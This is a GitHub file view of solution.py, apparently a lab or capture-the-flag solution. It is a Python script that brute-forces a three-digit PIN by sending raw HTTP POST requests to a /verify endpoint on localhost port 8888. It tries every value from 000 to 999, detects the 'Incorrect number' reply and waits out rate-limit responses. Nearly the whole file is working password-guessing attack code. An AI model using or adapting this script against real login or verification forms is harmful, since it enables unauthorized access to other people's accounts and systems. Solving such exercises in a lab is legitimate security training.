-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsolution.py
More file actions
54 lines (42 loc) · 1.49 KB
/
solution.py
File metadata and controls
54 lines (42 loc) · 1.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import time
def send_post_request(pin):
host = "127.0.0.1"
port = 8888
resource = "/verify"
form_data = f"magicNumber={pin:03d}"
request = f"""POST {resource} HTTP/1.1\r\nHost: {host}:{port}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(form_data)}\r\nConnection: close\r\n\r\n{form_data}"""
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.settimeout(5)
client_socket.connect((host, port))
client_socket.sendall(request.encode())
response = b""
while True:
data = client_socket.recv(4096)
if not data:
break
response += data
client_socket.close()
return response.decode(errors="ignore")
except socket.error as e:
return f"Socket error: {e}"
except Exception as e:
return f"An error occurred: {e}"
def brute_force_pin():
for pin in range(1000):
print(f"Trying PIN: {pin:03d}")
response = send_post_request(pin)
if "Incorrect number" in response:
print(f"❌ PIN {pin:03d} is incorrect.")
elif "Please wait" in response:
print(f"Rate limit hit — retrying...")
time.sleep(1)
continue
else:
print(f"\n✅ SUCCESS! PIN is {pin:03d}")
print(response)
break
time.sleep(1)
if __name__ == "__main__":
brute_force_pin()